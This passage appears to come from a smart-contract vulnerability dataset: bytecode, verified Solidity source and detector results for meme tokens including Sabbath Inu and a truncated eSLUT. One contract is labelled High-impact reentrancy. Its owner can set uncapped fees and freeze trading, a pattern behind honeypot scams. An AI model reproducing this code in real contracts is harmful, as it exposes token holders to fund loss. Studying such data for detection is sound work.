ffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610f56576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015610fe5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820acebd0df8595ee91f823e8b58cf94812768409e14761e408b11092536f5af52f64736f6c63430005110032
{"success": true, "error": null, "results": {}}
8,573
0xd2fdc6d9d3f2a9a784258f89629cc12948ed973f
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ /** _________ ___. ___. __ .__ .___ / _____/____ \_ |__\_ |__ _____ _/ |_| |__ | | ____ __ __ \_____ \\__ \ | __ \| __ \\__ \\ __\ | \ | |/ \| | \ / \/ __ \| \_\ \ \_\ \/ __ \| | | Y \ | | | \ | / /_______ (____ /___ /___ (____ /__| |___| / |___|___| /____/ \/ \/ \/ \/ \/ \/ \/ Come take the withered Hand of Doom, join the Sabbath. Website: https://sabbathinu.com Twitter: https://twitter.com/Sabbathinu Telegram: https://t.me/sabbathinu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SabbathInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sabbath Inu";// string private constant _symbol = "SABBATH";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 666000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 10;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xEFaf370266c523C41a46042516f36Ba27a0a77A3); // dev wallet address payable private _marketingAddress = payable(0x0F113EbAE5025582b0e6D47aa669217Ae7A3f086); // tax wallet IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 19980000000 * 10**9; // 3% max buy uint256 public _maxWalletSize = 19980000000 * 10**9; // 3% max wallet uint256 public _swapTokensAtAmount = 666000000 * 10**9; // 0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101855760003560e01c80637d1db4a5116100d1578063a2a957bb1161008a578063c492f04611610064578063c492f04614610472578063dd62ed3e14610492578063ea1644d5146104d8578063f2fde38b146104f857600080fd5b8063a2a957bb1461041d578063a9059cbb1461043d578063c3c8cd801461045d57600080fd5b80637d1db4a5146103635780638da5cb5b146103795780638f70ccf7146103975780638f9a55c0146103b757806395d89b41146103cd57806398a5c315146103fd57600080fd5b8063313ce5671161013e5780636fc3eaec116101185780636fc3eaec146102f957806370a082311461030e578063715018a61461032e57806374010ece1461034357600080fd5b8063313ce5671461029b57806349bd5a5e146102b75780636d8aa8f8146102d757600080fd5b806306fdde0314610191578063095ea7b3146101d75780631694505e1461020757806318160ddd1461023f57806323b872dd146102655780632fd689e31461028557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600b81526a5361626261746820496e7560a81b60208201525b6040516101ce9190611717565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611781565b610518565b60405190151581526020016101ce565b34801561021357600080fd5b50601354610227906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561024b57600080fd5b5068241a9b4f617a2800005b6040519081526020016101ce565b34801561027157600080fd5b506101f76102803660046117ad565b61052f565b34801561029157600080fd5b5061025760175481565b3480156102a757600080fd5b50604051600981526020016101ce565b3480156102c357600080fd5b50601454610227906001600160a01b031681565b3480156102e357600080fd5b506102f76102f2366004611803565b610598565b005b34801561030557600080fd5b506102f76105e9565b34801561031a57600080fd5b5061025761032936600461181e565b610634565b34801561033a57600080fd5b506102f7610656565b34801561034f57600080fd5b506102f761035e36600461183b565b6106ca565b34801561036f57600080fd5b5061025760155481565b34801561038557600080fd5b506000546001600160a01b0316610227565b3480156103a357600080fd5b506102f76103b2366004611803565b6106f9565b3480156103c357600080fd5b5061025760165481565b3480156103d957600080fd5b506040805180820190915260078152660a682848482a8960cb1b60208201526101c1565b34801561040957600080fd5b506102f761041836600461183b565b610741565b34801561042957600080fd5b506102f7610438366004611854565b610770565b34801561044957600080fd5b506101f7610458366004611781565b6107ae565b34801561046957600080fd5b506102f76107bb565b34801561047e57600080fd5b506102f761048d366004611886565b61080f565b34801561049e57600080fd5b506102576104ad36600461190a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104e457600080fd5b506102f76104f336600461183b565b6108b0565b34801561050457600080fd5b506102f761051336600461181e565b6108df565b60006105253384846109c9565b5060015b92915050565b600061053c848484610aed565b61058e843361058985604051806060016040528060288152602001611abe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8f565b6109c9565b5060019392505050565b6000546001600160a01b031633146105cb5760405162461bcd60e51b81526004016105c290611943565b60405180910390fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6011546001600160a01b0316336001600160a01b0316148061061e57506012546001600160a01b0316336001600160a01b0316145b61062757600080fd5b4761063181610fc9565b50565b6001600160a01b03811660009081526002602052604081205461052990611052565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105c290611943565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f45760405162461bcd60e51b81526004016105c290611943565b601555565b6000546001600160a01b031633146107235760405162461bcd60e51b81526004016105c290611943565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461076b5760405162461bcd60e51b81526004016105c290611943565b601755565b6000546001600160a01b0316331461079a5760405162461bcd60e51b81526004016105c290611943565b600893909355600a91909155600955600b55565b6000610525338484610aed565b6011546001600160a01b0316336001600160a01b031614806107f057506012546001600160a01b0316336001600160a01b0316145b6107f957600080fd5b600061080430610634565b9050610631816110d6565b6000546001600160a01b031633146108395760405162461bcd60e51b81526004016105c290611943565b60005b828110156108aa57816005600086868581811061085b5761085b611978565b9050602002016020810190610870919061181e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108a2816119a4565b91505061083c565b50505050565b6000546001600160a01b031633146108da5760405162461bcd60e51b81526004016105c290611943565b601655565b6000546001600160a01b031633146109095760405162461bcd60e51b81526004016105c290611943565b6001600160a01b03811661096e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105c2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a2b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c2565b6001600160a01b038216610a8c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c2565b6001600160a01b038216610bb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c2565b60008111610c155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c2565b6000546001600160a01b03848116911614801590610c4157506000546001600160a01b03838116911614155b15610e8857601454600160a01b900460ff16610cda576000546001600160a01b03848116911614610cda5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105c2565b601554811115610d2c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105c2565b6014546001600160a01b03838116911614610db15760165481610d4e84610634565b610d5891906119bf565b10610db15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105c2565b6000610dbc30610634565b601754601554919250821015908210610dd55760155491505b808015610dec5750601454600160a81b900460ff16155b8015610e0657506014546001600160a01b03868116911614155b8015610e1b5750601454600160b01b900460ff165b8015610e4057506001600160a01b03851660009081526005602052604090205460ff16155b8015610e6557506001600160a01b03841660009081526005602052604090205460ff16155b15610e8557610e73826110d6565b478015610e8357610e8347610fc9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610eca57506001600160a01b03831660009081526005602052604090205460ff165b80610efc57506014546001600160a01b03858116911614801590610efc57506014546001600160a01b03848116911614155b15610f0957506000610f83565b6014546001600160a01b038581169116148015610f3457506013546001600160a01b03848116911614155b15610f4657600854600c55600954600d555b6014546001600160a01b038481169116148015610f7157506013546001600160a01b03858116911614155b15610f8357600a54600c55600b54600d555b6108aa8484848461125f565b60008184841115610fb35760405162461bcd60e51b81526004016105c29190611717565b506000610fc084866119d7565b95945050505050565b6011546001600160a01b03166108fc610fe383600261128d565b6040518115909202916000818181858888f1935050505015801561100b573d6000803e3d6000fd5b506012546001600160a01b03166108fc61102683600261128d565b6040518115909202916000818181858888f1935050505015801561104e573d6000803e3d6000fd5b5050565b60006006548211156110b95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c2565b60006110c36112cf565b90506110cf838261128d565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111e5761111e611978565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117257600080fd5b505afa158015611186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111aa91906119ee565b816001815181106111bd576111bd611978565b6001600160a01b0392831660209182029290920101526013546111e391309116846109c9565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121c908590600090869030904290600401611a0b565b600060405180830381600087803b15801561123657600080fd5b505af115801561124a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061126c5761126c6112f2565b611277848484611320565b806108aa576108aa600e54600c55600f54600d55565b60006110cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611417565b60008060006112dc611445565b90925090506112eb828261128d565b9250505090565b600c541580156113025750600d54155b1561130957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061133287611487565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136490876114e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113939086611526565b6001600160a01b0389166000908152600260205260409020556113b581611585565b6113bf84836115cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140491815260200190565b60405180910390a3505050505050505050565b600081836114385760405162461bcd60e51b81526004016105c29190611717565b506000610fc08486611a7c565b600654600090819068241a9b4f617a280000611461828261128d565b82101561147e5750506006549268241a9b4f617a28000092509050565b90939092509050565b60008060008060008060008060006114a48a600c54600d546115f3565b92509250925060006114b46112cf565b905060008060006114c78e878787611648565b919e509c509a509598509396509194505050505091939550919395565b60006110cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8f565b60008061153383856119bf565b9050838110156110cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c2565b600061158f6112cf565b9050600061159d8383611698565b306000908152600260205260409020549091506115ba9082611526565b30600090815260026020526040902055505050565b6006546115dc90836114e4565b6006556007546115ec9082611526565b6007555050565b600080808061160d60646116078989611698565b9061128d565b9050600061162060646116078a89611698565b90506000611638826116328b866114e4565b906114e4565b9992985090965090945050505050565b60008080806116578886611698565b905060006116658887611698565b905060006116738888611698565b905060006116858261163286866114e4565b939b939a50919850919650505050505050565b6000826116a757506000610529565b60006116b38385611a9e565b9050826116c08583611a7c565b146110cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c2565b600060208083528351808285015260005b8181101561174457858101830151858201604001528201611728565b81811115611756576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461063157600080fd5b6000806040838503121561179457600080fd5b823561179f8161176c565b946020939093013593505050565b6000806000606084860312156117c257600080fd5b83356117cd8161176c565b925060208401356117dd8161176c565b929592945050506040919091013590565b803580151581146117fe57600080fd5b919050565b60006020828403121561181557600080fd5b6110cf826117ee565b60006020828403121561183057600080fd5b81356110cf8161176c565b60006020828403121561184d57600080fd5b5035919050565b6000806000806080858703121561186a57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060006040848603121561189b57600080fd5b833567ffffffffffffffff808211156118b357600080fd5b818601915086601f8301126118c757600080fd5b8135818111156118d657600080fd5b8760208260051b85010111156118eb57600080fd5b60209283019550935061190191860190506117ee565b90509250925092565b6000806040838503121561191d57600080fd5b82356119288161176c565b915060208301356119388161176c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119b8576119b861198e565b5060010190565b600082198211156119d2576119d261198e565b500190565b6000828210156119e9576119e961198e565b500390565b600060208284031215611a0057600080fd5b81516110cf8161176c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a5b5784516001600160a01b031683529383019391830191600101611a36565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a9957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ab857611ab861198e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e545a7b77fe3c9060ef221c1f32d3af948bab443041113abc56ce655099632b764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,574
0xefead017d0ec53513613da655bbcc6c9c0df2803
/* $eSLUT , the slut you didn't know you needed. Telegram: https://t.me/eSLUTcrypto Website: http://eslut.club (come join the club and get yourself an eSLUT) ______ _____ _____ _____ _________ .' ____ \ |_ _||_ _||_ _|| _ _ | .---. | (___ \_| | | | | | | |_/ | | \_| / /__\\ _.____`. | | _| ' ' | | | | \__.,| \____) | _| |__/ |\ \__/ / _| |_ '.__.' \______.'|________| `.__.' |_____| */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract eSLUT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; 